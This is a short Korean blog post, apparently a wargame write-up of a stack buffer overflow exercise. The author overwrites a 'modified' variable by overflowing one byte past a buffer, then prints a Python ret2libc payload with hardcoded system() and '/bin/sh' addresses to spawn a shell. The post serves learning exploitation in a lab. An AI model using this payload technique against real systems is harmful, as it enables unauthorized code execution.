졸리다..



그냥 modified의 값을 바꾸면 되나 봅니다.


바꿔줍시다.

이 바이너리에는 더미바이트가 따로 없나보네요. buf 이후에 1바이트만 덮어 씌워 줘도 modified 변수가 바뀌네요.




쉘도 따봅니다.


#coding: utf-8
from struct import pack, unpack

p = lambda x: pack("<L", x)
up = lambda x: unpack("<L",x)[0]

system = 0xb7ecffb0
binsh = 0xb7fb63bf

payload = 'A'*80
payload += p(system)
payload += 'AAAA'
payload += p(binsh)

print payload



이런식으로 pack 해서 보낼수도 있다고 합니다.




그래서 이것도 해봤습니다.



+ Recent posts